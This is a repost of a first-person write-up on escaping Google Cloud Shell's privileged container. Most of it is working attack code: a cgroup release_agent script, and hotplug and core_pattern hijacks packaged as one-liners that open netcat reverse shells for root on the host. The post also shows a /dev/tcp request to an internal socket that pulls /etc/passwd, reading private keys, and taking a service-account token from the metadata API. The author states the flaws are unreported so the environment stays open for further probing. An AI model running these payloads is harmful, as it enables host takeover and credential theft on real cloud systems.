文章总结: 本文详细介绍了GoogleCloudShell容器逃逸技术,作者发现CloudShell运行在Kubernetes编排的Docker容器内,通过分析系统特性确认了容器环境。作者尝试了多种逃逸方法,最终成功使用hotplug劫持和core_pattern劫持两种技术实现容器逃逸。逃逸后发现宿主机运行在GoogleComputeEngine虚拟机上,使用KVM虚拟机管理程序。文章提供了完整的技术细节和代码示例,对容器安全研究具有重要参考价值。
综合评分: 89
文章分类: 容器逃逸,漏洞分析,云安全,内网渗透,实战经验
Google Cloud Shell 容器逃逸技术深度解析
Bipin Jitiya
securitainment
2025年12月17日 14:56
中国香港
在印度季风末期一个晴朗的周末早晨,我坐在窗边,手里拿着笔记本电脑,以”多线程”的方式思考着自然与人生。接下来我想到的是破解点什么 (当然是合乎道德的),这是我第二兴奋的事情!(你可以猜猜第一件是什么。😄)
出于进行安全分析的动机,我开始对当下最热门的公司之一 OpenAI 进行侦察。任何研究过它的人都知道,他们运营着庞大的 IT 基础设施,有许多用于研究和模型训练的子域名。当我从笔记本电脑进行扫描时,像 httpx这样的工具由于我机器有限的计算能力和带宽而不断断开连接或中途终止扫描。VPS 本来可以帮上忙,但成本是个障碍。
我开始使用 Google Cloud Shell——这是 Google Cloud 提供的免费 Linux shell 环境,提供 5 GB 的持久存储和稳定的高速连接。它很不错,但像任何免费服务一样有限制:默认的每周 Cloud Shell 配额是 50 小时,一旦达到该配额,你必须等待配额重置 ¯\_(ツ)_/¯
我最初的目标是绕过 Cloud Shell 的限制,但在分析环境时,我意识到 Cloud Shell 的配置和代码库是多么复杂和庞大。我还注意到 Google Cloud 运营着一个漏洞奖励计划(大约一年前启动)。
所以我把注意力从 OpenAI 转向了 Google Cloud Shell。
每当我遇到这样一个终端时,我的终极目标是获得 root shell,但在这里我看到我已经有了 root 访问权限!
虚拟铁栅背后
在 Google Cloud Shell 上运行自动化枚举脚本 (LinEnum) 时,一些输出立即引起了我的注意,让我对底层环境产生了怀疑。
/proc/version文件显示了一些不寻常的东西。内核是在 Chromium OS下编译的。然而,/etc/os-release仍然将操作系统报告为 Ubuntu 24.04.3 LTS
Chromium OS 内核和 Ubuntu 用户空间之间的不匹配立即引起了怀疑,这是容器化环境的强烈信号,其中容器在另一个系统 (ChromeOS) 的宿主机内核之上运行一个操作系统 (Ubuntu) 的用户态。
为了确认我的假设,我运行了:
这确认了 Docker 容器的存在
接下来,我通过检查 cgroup 配置来验证它:
两者都指向 /k8s.io/...下的路径,揭示了容器是通过 Kubernetes编排的。
最后,我检查了 init 进程:
它显示 PID 1 是 bash而不是 systemd,这是最小容器环境的另一个指标。
所有这些加在一起证实了 Google Cloud Shell 运行在由 Kubernetes 编排的 Docker 容器内,而不是独立的计算机或虚拟机。
逃离隐形牢笼
一旦我意识到自己被困在 Docker 内部,我的第一个里程碑很简单:逃离容器。
是时候测试这些墙的强度了。
在进一步分析时,我脑海中出现的一个关键问题是——我是在特权 Docker 容器内运行吗?特权容器以几乎不受限制的方式访问宿主机,包括内核级操作、设备访问和不受限制的挂载。
权限评估
我首先检查了可用的 capabilities(Linux 内核分配给进程的权限集),以检测我是否在特权容器内。
值 000001ffffffffff是表示所有当前活动 capabilities 的十六进制位掩码。为了理解它,我使用 capsh实用程序对其进行解码。
解码后的列表清楚地显示了高影响力的 capabilities,例如:
-
cap_sys_admin -
允许挂载文件系统和执行管理操作。
-
cap_sys_module -
允许加载和卸载内核模块。
-
cap_net_admin -
授予网络配置权限。
这些高权限 capabilities 的存在证实了容器是使用 --privileged标志启动的。
我的路径很清楚:利用这些 capabilities 中的任何一个来尝试宿主机逃逸或权限提升。
攻击尝试——按时间顺序
尝试 #1——内核模块 (CAP_SYS_MODULE)
首先,cap_sys_module引起了我的注意。我搜索了 “cap_sys_module escaping container”,找到了一篇题为 Escaping the Container: Weaponizing Kernel Module Loading via CAP_SYS_MODULE的文章,作者是 IBM PTC Security。
我迅速尝试了该博客中解释的方法。首先,我通过检查 /proc/sys/kernel/modules_disabled(它是 0) 确认内核模块加载已启用。接下来,我在容器内创建了一个恶意内核模块 (hello.c) 和相应的 Makefile并编译它们以生成 .ko文件。然后我尝试使用 insmod将模块加载到宿主机内核上。
模块加载失败,因为宿主机内核强制执行了内核模块签名验证 (KMSV),这意味着它只会加载使用宿主机系统信任的加密密钥进行数字签名的模块。由于我编译的模块未签名,因此立即被拒绝。:(
我以艰难的方式学到了这一点。如果您遇到这种情况,请不要浪费时间构建未签名的模块,而是检查内核命令行中的 module.sig_enforce参数。这是检查模块签名强制是否明确设置的主要方法:
-
如果输出包括
**module.sig_enforce=1**——KMSV 被明确启用或强制执行。
-
如果没有输出,或输出包括
**module.sig_enforce=0**——通过参数禁用强制执行。
尝试 #2——cgroups v1 release_agent(notify_on_release)
我探索了其他逃离特权容器的方法,并在 X/Twitter 上发现了这篇文章。
这个 payload 看起来很疯狂,对吧?让我们理解其背后的逻辑。
核心技术滥用了一个遗留的 cgroups v1 功能,称为 notify_on_release。通过在 cgroup 层次结构中启用此功能并设置 release_agent(它指向容器文件系统路径下宿主机上攻击者控制的脚本),攻击者可以在该 cgroup 中的最后一个进程退出时,使该脚本以宿主机上的特权 root 身份执行。
还是困惑?这里是相同 payload 的精简、非混淆 shell 脚本版本,带有解释:
# 1. 挂载 cgroup 文件系统并创建子 cgroup 'x'
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 2. 为新 cgroup 启用释放通知
echo 1 > /tmp/cgrp/x/notify_on_release
# 3. 查找容器在宿主机上的路径,并将其设置为 release_agent 脚本
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo"$host_path/cmd"> /tmp/cgrp/release_agent
# 4. 在容器的共享文件系统中创建恶意脚本(/cmd)
echo'#!/bin/sh'> /cmd
echo"ps aux > $host_path/output">> /cmd # 在宿主机上运行的命令
chmod a+x /cmd
# 5. 在 cgroup 'x' 中执行一个立即退出的进程,触发 payload
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
当我尝试在 cloud shell 中运行这个 payload 时,它在第一步就失败了:
错误是不言自明的。cgroup 层次结构已经在 /sys/fs/cgroup全局挂载,因此我们无法再次挂载它。您可以使用 mount命令确认这一点:
从输出中您可以看到它使用的是 cgroup2—— 统一层次结构。
根据 cgroups 的 Linux 手册页,release_agent和 notify_on_release文件是 cgroups v1的一部分,在 cgroups v2中已被删除。我迅速检查了:
这些文件对于该漏洞利用至关重要,这意味着此 payload 仅在 cgroups v1 系统上有效,不适用于使用 cgroup v2 统一层次结构的 Google cloud shell。
这扇门不再存在。
尝试 #3——成功逃逸
第二天早上我醒来时怀着新的希望。前两次尝试都失败了,但它们教会了我很多东西,如果你问我,这是失败的愉快部分。
我学到的基本教训是,容器共享宿主机内核(与在虚拟机管理程序之上提供客户机内核的 VM 不同)。这意味着宿主机内核中的任何漏洞都可能影响每个容器:内核漏洞可能成为容器逃逸,跨越命名空间和 capability 边界到达宿主机。
要突破 Docker 容器并在宿主机上执行代码,通常需要两个核心要素:
-
payload
——放置在容器文件系统内并准备由宿主机执行的二进制文件或脚本 (例如,反向 shell)。您必须知道从宿主机看到的该文件的_绝对路径_。
-
缺陷 (向量)
——可以被滥用的内核漏洞、错误配置或合法内核功能,以便容器内的进程导致宿主机内核(或特权宿主机进程) 执行该 payload。
下面我描述了我尝试过并发现成功的两种实用方法。
方法 #1——hotplug劫持
Payload
我在容器内创建了一个小的反向 shell 脚本:
#!/bin/sh
nc -e /bin/bash <CONTAINER_IP><PORT>
要回连,您可以使用 nc(netcat) 或宿主机上可用的任何替代反向 shell 机制。
提示:要查找容器 IP,请使用
ip a show dev eth0或hostname -I。如果hostname -I打印多个地址,第一个通常是容器的主 IP。
将其保存为 /shell并使其可执行 (chmod +x /shell)。
我在同一端口上的单独容器终端中启动了一个 nc监听器,以便我可以接收传入的连接:
sudo apt install netcat-traditional # 如果尚未安装
nc -lvnp <PORT>
payload 是在容器内创建的,我们仍然需要该文件的宿主机绝对路径供宿主机执行它。宿主机内核或宿主机进程看不到容器的简单路径 (例如 /shell);它在宿主机上容器的根文件系统挂载的位置看到该文件。
容器运行时 (Docker、containerd 等) 使用 OverlayFS来实现分层文件系统,这意味着,容器的可写层 (其中 /shell所在) 实际上是宿主机上的一个目录,它作为 /呈现给容器。使用 mount输出来定位容器的可写层 (upperdir)。
按回车键或点击查看全尺寸图片
将宿主机 upperdir与容器内路径连接起来,以获得 payload 的宿主机可见绝对路径。payload 的最终宿主机路径:/var/lib/containerd/io.containerd.snapshotter.v1.gcfs/snapshotter/snapshots/236/fs/shell
向量
Linux 的 hotplug子系统在发生热插拔事件时 (例如,当出现新网络设备时) 执行 /proc/sys/kernel/hotplug中指定的辅助程序。通过将我们 payload 的宿主机可见绝对路径写入 /proc/sys/kernel/hotplug,内核将在下一个热插拔事件中调用该路径并在宿主机上运行该 payload。
将宿主机路径写入 hotplug:
触发热插拔事件
触发热插拔事件的一种简单方法是创建测试网络设备:
ip link add test0 type dummy || ip link add test0 type tun # 取决于可用的驱动程序
ip link delete test0
它导致内核调用其热插拔辅助程序,该辅助程序被劫持以指向我们的 payload,内核将在宿主机上执行它。
我的监听器显示来自宿主机的连接
哇!! 它成功了。
宿主机回应了。边界已跨越。
为了确认逃逸,我重新运行了我在本文开头使用的相同检查。输出清楚地显示我现在正在宿主机上执行:
-
systemd-detect-virt返回
google表示环境是 Google 机器 (宿主机端),而不是容器运行时。 -
cat /proc/self/cgroup显示
0::/意味着当前进程在根 cgroup 中 (没有容器特定的 cgroup 条目) -
ps -p 1显示
systemd为 PID 1 确认系统正在运行宿主机 init(systemd)。
我使用命令
python3 -c 'import pty, os; pty.spawn("/bin/bash")'和export TERM=xterm-256color将 netcat shell 转换为交互式终端。这允许在终端中正确显示颜色和格式等功能,从而改善整体 shell 体验。
单行 payload
打开一个终端窗口并使用 nc -lvnp 9001启动监听器。然后,在新的终端窗口中,运行以下单行 payload 以接收来自宿主机的 root shell 连接并逃离容器。
echo$'#!/bin/sh\nnc -c /bin/bash '$(hostname -I|awk '{print $1}')' 9001'| sudo tee /shell > /dev/null && sudo chmod +x /shell;echo"$(mount|grep upper|sed -E 's/.*upperdir=([^,]+).*/\1/')/shell"| sudo tee /proc/sys/kernel/hotplug > /dev/null; sudo ip link add test0 type dummy && sudo ip link delete test0
方法 #2——core_pattern劫持
思路或向量
/proc/sys/kernel/core_pattern控制当进程崩溃并生成核心转储时内核执行的操作。如果值以管道字符 (|) 开头,内核将其余部分作为程序执行,并将原始核心字节流式传输到该程序的 stdin。至关重要的是,内核从宿主机上下文 (而不是容器内部) 执行此 execve(),因此处理程序以宿主机级权限运行。该行为使 core_pattern成为一个强大的向量,当容器可以写入模式或将其指向宿主机可以运行的可执行文件时。
Payload
core_pattern接受管道处理程序:以 |为前缀的程序调用,而不是文件路径 (我们的反向 shell)。内核要求必须使用绝对路径名指定程序 (例如 /usr/bin/nc)。在我的情况下,我编写了一个处理程序,它调用 nc回连到我的监听器:
echo'|/usr/bin/nc -e /bin/sh <CONTAINER_IP> <PORT>'| sudo tee /proc/sys/kernel/core_pattern >/dev/null
设置处理程序以调用宿主机 nc 并回连到攻击者监听器
请注意:如方法 #1 中所述,我将
/shell脚本放在容器内;在此 (方法 #2) 中,您还可以通过其宿主机端绝对路径 (容器的upperdir) 引用相同的脚本或 payload。
触发崩溃
我启动了一个我控制的简单进程并使其崩溃 (通过强制它使用 -SEGV或 -SIGABRT标志生成崩溃转储),以便内核调用处理程序:
sleep 9999 &
echo$!> /tmp/sleep.pid
kill -SIGABRT $(cat /tmp/sleep.pid)
启动并崩溃一个 sleep 进程
或者,您可以编译并运行一个解引用 NULL(段错误) 的小型 C 程序。
gcc -x c -o /tmp/a - <<<'int main(){volatile int *p=0;*p=1;}'&& /tmp/a
当进程崩溃时,内核看到管道化的 core_pattern,在宿主机上 fork()/execve()处理程序,并将核心流式传输到处理程序的 stdin。因为我的处理程序是反向 shell 调用,宿主机回连到我的监听器,我收到了来自节点的 root shell。
从 Docker 容器列出根目录
从宿主机列出根目录
单行 payload
打开一个终端窗口并使用 nc -lvnp 9001启动监听器。然后,在新的终端窗口中,运行以下单行 payload 以接收来自宿主机的 root shell 连接并逃离容器。
echo"|/usr/bin/nc -e /bin/bash $(hostname -I|awk '{print $1}') 9001"| sudo tee /proc/sys/kernel/core_pattern > /dev/null; (sleep 60 &kill -SIGABRT $!)
宿主机指纹识别
宿主机运行 Container-Optimized OS 117(Lakitu),这是 Google 维护的最小 Linux 发行版,专门用于在 Google Cloud 环境中运行 Docker和 containerd工作负载。
在宿主机系统上,我观察到 k8s.io命名空间下的多个容器:
诸如 metadata-proxy、command-recorder、gateway、client-communication-service和 orchestrator之类的容器似乎是 GCP Cloud Shell 服务 pod,通过 Kubernetes 编排。
我能够通过在这些容器内运行命令来进一步审查它们。
此外,宿主机上的目录 /var/log/containers/包含遵循标准 Kubernetes 日志记录约定的 .log文件 (<pod_name>.log)。
按回车键或点击查看全尺寸图片
接下来,我检查了临时文件,并在 /tmp内找到了两个有趣的文件:
-
/tmp/key1524398165——包含一个私钥
-
/tmp/cert1424204183——由 Google DevOps颁发的证书
虽然我无法确定它们的确切用途,但它们可能被 Cloud Shell 的后端代理或 gRPC 服务层用于安全的服务间通信。我决定稍后重新审视此问题以进行更深入的调查。
Google Cloud Shell 的另一个重要方面是”在 Cloud Shell 中打开“功能。此功能允许用户通过将用户提供的值传递给一组预定义的 URL 参数,直接与 Cloud Shell 环境交互,如官方 Google Cloud 文档中所述。
在内部,此功能是通过 Cloud Shell 环境中名为 cloudshell_open的 shell 函数实现的。这不是独立的二进制文件,而是一个 Linux shell 函数,最终调用可执行文件 /google/devshell/bin/cloudshell_open_go,将所有用户提供的参数作为命令行参数传递。
cloudshell_open_go二进制文件是编译的 ELF 可执行文件,很难进行静态审查和分析。
有趣的是,在宿主机系统上,我能够找到与此二进制文件对应的未编译 Go 源代码。源文件是在 containerd 快照目录中找到的。
此脚本充当本地客户端,使用 TCP 套接字 (在 localhost:8998上) 与 Google Cloud Shell 前端服务通信。其主要作用是向 Cloud Shell UI 发送结构化控制消息 (长度前缀、PBLite 格式的 JSON 消息),以触发打开文件、下载文件或打开工作区等操作。
为了演示底层发生的情况,我创建了以下单行 bash payload,它直接与相同的内部套接字端点交互,完全绕过包装器脚本:
req='[null,null,null,[null,[["/etc/passwd"]]]]';\
printf"%s\n%s"${#req}"$req"> /dev/tcp/127.0.0.1/8998
执行后,Cloud Shell 前端解释该消息并立即触发 /etc/passwd 文件的下载提示,如下所示:
按回车键或点击查看全尺寸图片
进一步的调查使我确定了通过符号链接绕过的路径遍历漏洞,我将其记录为单独的报告。
我的下一步是查询 GCE 元数据 API。我向端点发送了一个请求:http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
此 API 用于检索链接到当前实例的服务帐户的详细信息。从 Docker 容器内,它返回我的用户电子邮件地址,而从宿主机,它返回可能与底层 Google Compute Engine(GCE)实例关联的服务帐户。
我迅速为该服务帐户生成了一个访问令牌:
我将令牌存储在 $ACCESSTOKEN中,并通过 Google API 验证它以查看其关联的权限。
在权限中,引起我注意的是 devstorage.read_only。
为了进一步探索这一点,我需要当前项目 ID,它可以从服务帐户电子邮件地址的子域派生。或者,也可以从元数据 API 获得:
使用项目 ID 和访问令牌,我尝试列出存储桶。不幸的是,请求返回 403 Forbidden错误。
此时,我意识到我需要彻底浏览 GCE 文档以调试该行为。我决定稍后推迟该操作,并继续在宿主机上进行侦察。
我想确定宿主机是在裸机上运行还是在虚拟机内运行。我查询了系统的 DMI 信息:
root@cloudshell-014XXXXa-3f10-4f87-a664-014XXXXXX5ac / # dmidecode -s system-product-name
Google Compute Engine
root@cloudshell-014XXXXa-3f10-4f87-a664-014XXXXXX5ac / #
输出立即显示 “Google Compute Engine”,这清楚地表明宿主机是作为 GCE 虚拟机运行的,而不是在裸机上。
接下来,我检查内核日志以查找虚拟化组件的迹象:
dmesg | grep -iE 'hypervisor|kvm|qemu|vmware|xen'
日志毫无疑问地证实了这一点:
内核确实在 KVM 虚拟机管理程序下启动,这是 Google Cloud 用于其计算实例的标准虚拟化层。
为了进一步验证这一点,我列出了所有连接的 PCI 设备:
lspci | grep -i 'virtual\|virtio\|vmware\|qemu\|xen'
输出显示了多个 Virtio 设备(网络、SCSI、RNG、balloon),证实了半虚拟化设置,典型的 KVM/QEMU-based VM。
此外,/proc/cpuinfo包含 hypervisor标志,这是内核在虚拟化环境中运行的另一个明确指标:
grep -E 'vmx|svm|hypervisor' /proc/cpuinfo
总的来说,这些指标证实了当前会话是在 Google Compute Engine 虚拟机内运行的,该虚拟机由 基于 KVM 的虚拟机管理程序提供支持,并使用 Virtio 半虚拟化设备。
在这个阶段,很明显为什么我无法访问任何客户敏感数据或其他用户的信息。我已经成功揭示了 Cloud Shell 基础设施的一层,但仍然被隔离在 KVM 边界内。
逃脱了,但不自由。
打破这种隔离确实是一个重大里程碑,但这需要对环境进行更深入的探索,对 KVM/Linux 内部进行广泛的研究,并对 Google Cloud 的后端架构有扎实的理解。
考虑到这篇文章的冗长,我决定在这里结束。我希望这个演练帮助您了解了 Google Cloud Shell 的底层以及如何系统地分析此类环境。
我尚未向 Google 报告这些发现 (在撰写本文时),因为它们似乎没有造成重大的安全影响。我更愿意保持环境完整以进行进一步研究。祝我好运——如果我发现更实质性的东西,我将在本系列的下一部分中分享它!🥂
Google Cloud Shell Container Escape
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment Bipin Jitiya《Google Cloud Shell 容器逃逸技术深度解析》